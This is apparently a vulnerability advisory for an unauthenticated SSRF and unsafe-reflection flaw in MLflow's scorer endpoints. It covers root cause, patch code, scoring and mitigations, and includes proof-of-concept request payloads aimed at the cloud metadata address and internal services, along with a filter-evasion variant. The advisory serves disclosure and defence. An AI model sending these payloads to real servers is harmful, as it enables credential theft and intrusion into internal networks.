CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

MLflow is an open-source platform designed to manage the machine learning and generative AI lifecycle, including experiment tracking, model evaluation, and deployment. As part of its generative AI evaluation capabilities introduced in the 3.x release branch, the MLflow Tracking Server exposes specific REST API endpoints to register and invoke evaluation scorers. These endpoints—specifically POST /ajax-api/3.0/mlflow/scorer/invoke, POST /ajax-api/3.0/mlflow/scorer/register, and POST /ajax-api/3.0/mlflow/genai/evaluate/invoke—are accessible without authentication in default MLflow deployments.

In MLflow versions starting from 3.12.0rc0 and prior to 3.17.0, these endpoints process a serialized_scorer JSON parameter containing configuration data for third-party evaluation metrics. During request handling, the server invokes Scorer.model_validate_json() to deserialize the payload and reflectively instantiate the specified Python class. This design combines two distinct weakness categories: Use of Externally-Controlled Input to Select Classes or Code (CWE-470, Unsafe Reflection) and Server-Side Request Forgery (CWE-918, SSRF).

While MLflow enforces a module-level allowlist restricting reflection to specific namespaces (such as mlflow.genai.scorers.trulens), the deserialization routine fails to restrict which classes within those modules are selected or which keyword arguments (kwargs) are passed to their constructors. When optional evaluation libraries like trulens and trulens-providers-litellm are installed in the server environment, an attacker can pass network configuration parameters directly into the underlying LLM client.

Consequently, an unauthenticated remote attacker with network access to the MLflow Tracking Server can steer outbound HTTP requests generated by the evaluation engine to arbitrary destinations. This permits unauthorized interaction with internal network services, localhost listeners, and cloud instance metadata endpoints such as 169.254.169.254.

The root cause of CVE-2026-115886 resides in the incomplete validation of serialized scorer definitions within mlflow/genai/scorers/base.py and the corresponding server request handlers in mlflow/server/handlers.py. When a client submits a scorer payload, the Scorer.model_validate_json(serialized_scorer) method parses the JSON structure and checks for the presence of third_party_scorer_data. Although the module field is verified against an internal allowlist of permitted integration packages, the deserialization logic blindly unpacks the user-supplied kwargs dictionary into the target class constructor during reflective instantiation.

This unconstrained parameter injection becomes exploitable through the interaction between MLflow's scorer wrappers and the trulens library. When a user or attacker requests a reflected scorer class—for example, mlflow.genai.scorers.trulens.Coherence—and specifies a model identifier outside of TruLens's native provider registry (such as openai:/gpt-4o), execution falls back to the LiteLLM provider via trulens-providers-litellm. The LiteLLM initialization routine accepts arbitrary keyword arguments and forwards them directly to litellm.completion() when executing network requests.

Because litellm.completion() honors connection-routing parameters—including api_base, base_url, custom_llm_provider, and nested dictionaries like completion_kwargs or model_kwargs—an attacker can override the destination URL of the outbound LLM evaluation request. Furthermore, this deserialization and instantiation sequence occurs prematurely within the request lifecycle, executing before tracking-store authorization checks, experiment run creation, or asynchronous job submission take place.

In addition to direct invocation, the vulnerability also affects stored scorers. An attacker can register a malicious scorer configuration via /ajax-api/3.0/mlflow/scorer/register, persisting the unsanitized kwargs in the MLflow tracking store. When a legitimate user or automated pipeline later retrieves and invokes that registered scorer, the server reconstructs the object from the stored JSON and triggers the outbound SSRF request.

Prior to MLflow 3.17.0, the API handlers in mlflow/server/handlers.py passed the raw serialized_scorer string directly to the Pydantic validation routine without inspecting the nested structure for dangerous constructor arguments. In commit bac30b4148c4f40045b4d4db07ae60ab3838803f (PR #25890), the maintainers introduced a two-layer validation mechanism across mlflow/server/handlers.py and mlflow/utils/validation.py to block egress-steering parameters before deserialization occurs.

First, in mlflow/server/handlers.py, the patch introduces _validate_serialized_scorer_payload(), which parses the raw JSON string, rejects unsupported decorator call sources, and delegates structural inspection to _validate_third_party_scorer_data(). This validator is applied across _invoke_genai_evaluate_handler, _register_scorer, and _invoke_scorer_handler, covering both incoming network payloads and stored scorer definitions fetched from the backend database.

# mlflow/server/handlers.py
def _validate_serialized_scorer_payload(serialized_scorer: str) -> None:
    try:
        serialized_data = json.loads(serialized_scorer)
    except json.JSONDecodeError as e:
        raise MlflowException.invalid_parameter_value("serialized_scorer must be valid JSON") from e
    # Reject serialized decorator scorers at the handler boundary
    if serialized_data.get("call_source") is not None:
        raise MlflowException.invalid_parameter_value(
            DECORATOR_SCORER_REGISTRATION_NOT_SUPPORTED_ERROR
        )
    # Recursively inspect third-party scorer configurations for dangerous kwargs
    _validate_third_party_scorer_data(serialized_data)

Second, in mlflow/utils/validation.py, the patch implements recursive traversal functions to locate third_party_scorer_data blocks and inspect their kwargs dictionaries against a predefined blocklist of destination-controlling keys (GATEWAY_DESTINATION_KEYS). Because scorers can be nested inside container objects—such as ensemble scorers (ensemble_scorer_data.scorers) or memory-augmented judges (memory_augmented_judge_data.base_judge)—a flat dictionary check would be insufficient.

# mlflow/utils/validation.py
def _find_destination_keys(value: Any) -> set[str]:
    if isinstance(value, dict):
        # Intersect dictionary keys with known egress-steering parameter names
        found = GATEWAY_DESTINATION_KEYS & set(value)
        for nested in value.values():
            found |= _find_destination_keys(nested)
        return found
    if isinstance(value, list):
        found: set[str] = set()
        for nested in value:
            # Catch Python dict() key-value pair list bypasses: [["api_base", "http://..."]]
            if isinstance(nested, list) and len(nested) == 2 and isinstance(nested[0], str):
                found |= GATEWAY_DESTINATION_KEYS & {nested[0]}
            found |= _find_destination_keys(nested)
        return found
    return set()
 
def _iter_third_party_scorer_data(value: Any) -> Iterator[dict[str, Any]]:
    # Recursively yield all third_party_scorer_data objects regardless of nesting depth
    if isinstance(value, dict):
        data = value.get("third_party_scorer_data")
        if isinstance(data, dict):
            yield data
        for nested in value.values():
            yield from _iter_third_party_scorer_data(nested)
    elif isinstance(value, list):
        for nested in value:
            yield from _iter_third_party_scorer_data(nested)
 
def _validate_third_party_scorer_data(serialized_scorer: dict[str, Any]) -> None:
    for data in _iter_third_party_scorer_data(serialized_scorer):
        kwargs = data.get("kwargs")
        # Enforce strict type checking on kwargs to prevent non-dict iterable injection
        if kwargs is not None and not isinstance(kwargs, dict):
            raise MlflowException.invalid_parameter_value(
                "third_party_scorer_data.kwargs must be a JSON object, got "
                f"{type(kwargs).__name__}."
            )
        if found := sorted(_find_destination_keys(kwargs)):
            raise MlflowException.invalid_parameter_value(
                f"third_party_scorer_data.kwargs must not contain {', '.join(map(repr, found))}: "
                "these options choose where the scorer's LLM client sends requests. Configure "
                "the judge endpoint on the server instead, for example through a gateway "
                "endpoint ('gateway:/<name>') or the provider's environment variables."
            )

> [!NOTE] > Fix Completeness Assessment: The patch accounts for multiple structural evasion techniques. By enforcing isinstance(kwargs, dict) and inspecting two-element lists within _find_destination_keys(), the validation logic prevents attackers from bypassing dictionary key checks via Python's dict([['api_base', 'http://target']]) initialization syntax or nesting payloads inside completion_kwargs and ensemble containers. However, because the fix relies on a key blocklist (GATEWAY_DESTINATION_KEYS) rather than a strict parameter allowlist for reflected classes, future updates to underlying providers (such as LiteLLM) that introduce new connection-routing parameter names would require corresponding updates to GATEWAY_DESTINATION_KEYS.

Exploiting CVE-2026-115886 requires network access to an unauthenticated MLflow Tracking Server running version 3.12.0rc0 through 3.16.x, where the server Python environment includes the optional trulens and trulens-providers-litellm packages. No authentication credentials or valid experiment traces are required to trigger the outbound network connection if the deserialization and client initialization phases execute immediately upon invocation.

In a direct exploitation scenario, the attacker sends an HTTP POST request to /ajax-api/3.0/mlflow/scorer/invoke. The request body includes a serialized_scorer JSON string specifying the allowed module mlflow.genai.scorers.trulens, the target class Coherence, and a kwargs dictionary containing api_base pointed at the AWS Instance Metadata Service (IMDS) or an internal service.

POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
Host: mlflow-server:5000
Content-Type: application/json
 
{
  "experiment_id": "0",
  "serialized_scorer": "{\"name\": \"ssrf_poc\", \"third_party_scorer_data\": {\"module\": \"mlflow.genai.scorers.trulens\", \"class\": \"Coherence\", \"metric_name\": \"Coherence\", \"model\": \"openai:/gpt-4o\", \"kwargs\": {\"api_base\": \"http://169.254.169.254/latest/meta-data/\", \"api_key\": \"canary\"}}}",
  "trace_ids": ["trace-001"]
}

Beyond top-level keyword injection, attackers can structure the payload to evade superficial input filters or WAF rules by nesting the destination override inside provider-specific sub-dictionaries or container scorers. For example, passing base_url inside completion_kwargs or wrapping the third_party_scorer_data object inside an ensemble_scorer_data array both trigger recursive validation and execution within Scorer.model_validate_json().

{
  "name": "ensemble_wrapper_poc",
  "ensemble_scorer_data": {
    "ensemble_fn": "majority_vote",
    "scorers": [
      {
        "name": "inner_ssrf_scorer",
        "third_party_scorer_data": {
          "module": "mlflow.genai.scorers.trulens",
          "class": "Coherence",
          "metric_name": "Coherence",
          "model": "openai:/gpt-4o",
          "kwargs": {
            "completion_kwargs": {
              "base_url": "http://internal-service.local:8080/v1"
            }
          }
        }
      }
    ]
  }
}

When the MLflow server processes either payload, LiteLLM constructs an HTTP request to the specified api_base or base_url and attaches the attacker-supplied api_key in the Authorization: Bearer header alongside the evaluation prompt payload.

The official CVSS v3.1 base score for CVE-2026-115886 is 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N. The Attack Vector is Network (AV:N) and Privileges Required is None (PR:N) because MLflow binds its REST API without authentication by default. Attack Complexity is rated Low (AC:L), though successful exploitation depends on the target environment having optional third-party evaluation dependencies installed.

The primary security impact is unauthorized network pivoting and internal reconnaissance via Server-Side Request Forgery. Because the attacker controls the target URL (api_base / base_url), authentication headers (api_key), and custom headers or body parameters supported by litellm.completion(), the MLflow server can be coerced into interacting with internal REST APIs, unauthenticated administrative interfaces bound to 127.0.0.1, or internal microservices within the same VPC or Kubernetes cluster.

In cloud environments where Instance Metadata Service Version 1 (IMDSv1) is enabled, targeting http://169.254.169.254/latest/meta-data/ can allow an attacker to query instance metadata or temporary IAM role credentials if the downstream response or error message is reflected back in the API error trace. Even when full HTTP responses are not directly returned to the client (semi-blind or blind SSRF), attackers can infer internal port states and service availability based on connection timeouts and HTTP status exceptions returned by the scorer invocation endpoint.

Furthermore, by pointing api_base at an attacker-controlled external server and registering a malicious scorer via /ajax-api/3.0/mlflow/scorer/register, an attacker can intercept sensitive evaluation data. When legitimate users subsequently run evaluations using that registered scorer, the MLflow server transmits internal trace data and prompts to the attacker's infrastructure.

To fully remediate CVE-2026-115886, organizations must upgrade MLflow to version 3.17.0 or later. Version 3.17.0 incorporates commit bac30b4148c4f40045b4d4db07ae60ab3838803f, which enforces recursive validation on all incoming and stored serialized_scorer payloads and rejects any third_party_scorer_data.kwargs containing destination-steering parameters.

After upgrading to 3.17.0, administrators should note that any existing registered scorers in the tracking database that previously relied on inline client destination parameters (such as api_base or base_url) will fail validation upon invocation with an MlflowException. Judge endpoints must instead be configured server-side using MLflow AI Gateway endpoints (gateway:/<name>) or standard provider environment variables on the host.

For environments where immediate upgrading is not feasible, security teams should implement defense-in-depth mitigations at the application and network layers:

1. Enable MLflow Authentication: Do not expose unauthenticated MLflow Tracking Servers to untrusted networks. Enable built-in HTTP authentication by launching the server with mlflow server --app-name basic-auth, or place the server behind an authenticating reverse proxy (such as NGINX, OAuth2 Proxy, or an AWS Application Load Balancer configured with OIDC).
2. Remove Unnecessary Optional Dependencies: If third-party evaluation scorers are not actively required, uninstall trulens and trulens-providers-litellm from the MLflow server Python environment to break the reflective fallback execution chain.
3. Enforce Egress Filtering and IMDSv2: Apply host-level firewall rules or Kubernetes NetworkPolicy manifests to restrict outbound connections from the MLflow server pod/host to only explicitly authorized external LLM provider endpoints, blocking RFC 1918 internal subnets and link-local metadata addresses (169.254.169.254 and fd00:ec2::254). On AWS EC2, enforce IMDSv2 with a hop limit of 1.